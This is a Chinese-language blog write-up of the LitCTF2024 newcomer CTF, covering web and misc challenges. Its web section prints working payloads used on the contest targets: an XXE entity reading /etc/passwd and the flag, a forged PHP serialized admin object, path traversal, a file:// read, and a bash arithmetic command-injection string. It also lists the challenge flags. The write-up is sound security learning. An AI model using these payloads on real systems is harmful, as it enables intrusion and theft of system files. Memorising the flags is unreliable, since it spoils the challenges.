Pr1nt
文章12
标签8
分类4

文章分类

文章归档

LitCTF新生赛 WriteUp

LitCTF新生赛 WriteUp

LitCTF2024 WriteUp

  1. LitCTF2024 WriteUp
    1. Web
      1. exx
      2. 一个…池子?
      3. SAS - Serializing Authentication System
      4. 浏览器也能套娃?
      5. 高亮主题(划掉)背景查看器
      6. 百万美元的诱惑
    2. Misc
      1. 涐贪恋和伱、甾―⑺dé毎兮毎秒
      2. 你说得对,但__
      3. 原铁,启动!
      4. 盯帧珍珠
    3. 总结

Web

ak是61最好的礼物,去年才解出五个200多解的签到题,今年已经能ak了

exx

根据题目名字一眼xxe,随便admin/123456抓包看到<username>admin</username>确定了,然后本来xxe不会的,直接上网现学
(csdn)XXE知识总结,有这篇就够了!
然后随便拿个poc

1
2
3
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>

里面name改username,file:///etc改file:///flag,直接就出了

flag:NSSCTF{2ca880f2-6e91-4715-a5a7-f6cecdc2f325}

一个…池子?

输入4显示4一眼ssti,然后fenjing秒了
https://github.com/Marven11/Fenjing

result

flag:NSSCTF{6f25df6b-2968-481d-bcf7-8b85709b8e66}

SAS - Serializing Authentication System

ez反序列化

本地序列化new的时候赋个值就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?php
class User {

public $username;

public $password;

function __construct($username, $password) {

$this->username = $username;

$this->password = $password;

}

function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

$a=new User('admin','secure_password');

echo serialize($a);
?>

然后base64一下扔进去就行了
flag:flag{deserialization_vulnerability}

浏览器也能套娃?

感觉是真签到,为什么才161解,没看懂题型,是ssrf?
payload:file:///flag
flag:NSSCTF{f41d90e7-9261-4cbf-a58e-8d7cfef2468d}

高亮主题(划掉)背景查看器

?url=a,没反应,代码里应该是有反应的,所以不对,抓包看看POST了theme=theme1.php,访问一下报404,看来是相对路径包含的theme1.php,然后./flag ./flag.php 一个个测,最终是../../../../flag
flag:NSSCTF{2d8dae27-f508-4921-b4a9-54b7197d2949}

百万美元的诱惑

这题本来能一血的但是九点在学校只有手机没有电脑命令构造对了没有f12看不到真烦死了

第一层闭着眼睛做?a[]=1&b[]=1&c=2025e,出./dollar.php
第二层用点脑子做,题目来源ctfshow,web57,一模一样的36变12而已,原理是$(())在linuxshell中为0,自己echo一下就知道了,然后一点点运算,构造出12
payload:?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

然后f12一下看

1
2
3
<?php
$flag="LitCTF{dollar_d0llar_d0ll@r!!!}";
?>

Misc

涐贪恋和伱、甾―⑺dé毎兮毎秒

刚打开不知所云,然后扔进随波逐流直接就出了
1
flag:LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}

你说得对,但__

一打开就是个二维码,扫一下是云原神(神金,给爷逗乐了)
扔进随波逐流自动识别带zip

为什么不是传统binwalk stegsolve挨个试是因为随波逐流比较自动化,不用puzzlesolver是因为20没买涨到50更不想买了,反正我是web手

然后binwalk分解一下出来四个四分之一二维码,扔进ps随便扫一下就好了(不复现了太麻烦了,ps文件没保存,四个四分之一二维码也直接删了懒得重搞了)
flag:LitCTF{Genshin_St@rt!!}

原铁,启动!

调转手机可以勉强看出flag{good_,后面带黑框的就不明白了,然后原铁,原神和崩铁,就看了一下这俩游戏的文字,原神的反正也看出来了没管直接搜崩铁的了
1
flag:flag{good_gamer}

盯帧珍珠

还是随波逐流,提示gif被改了,于是修改为gif,然后就是动图,里面插着几帧flag,目押出
flag:LitCTF{You_are_really_staring_at_frames!}
(其实我是放stegsolve里一帧一帧看的)

总结

连做带写wp总共2个小时,misc只做4个是因为后面的懒得做了,要出去玩了一开始九点钟一上线看到16个密码2个re,没web没pwn看傻眼了,然后群里说环境一会上,就等了一会先上的exx,然后第二个上的百万美元,exx瞬间就一血了,我看了一眼手机做不了就没管直接看的美元, 然后瞬间秒第一层,第二层一眼原题,直接去找ctfshow里的答案然后执行了,执行完发现,我手机没有f12看不到html注释,眼睁睁看着一血消失,真服了
2023年刚入门打lit,然后狠狠的知道什么叫废物,现在变老登狠狠拷打新生了(x),但是我都ak了怎么才300多名(还是密码出太多了)

很有趣的新生赛,第一次体会到ak的感觉,考点也挺全的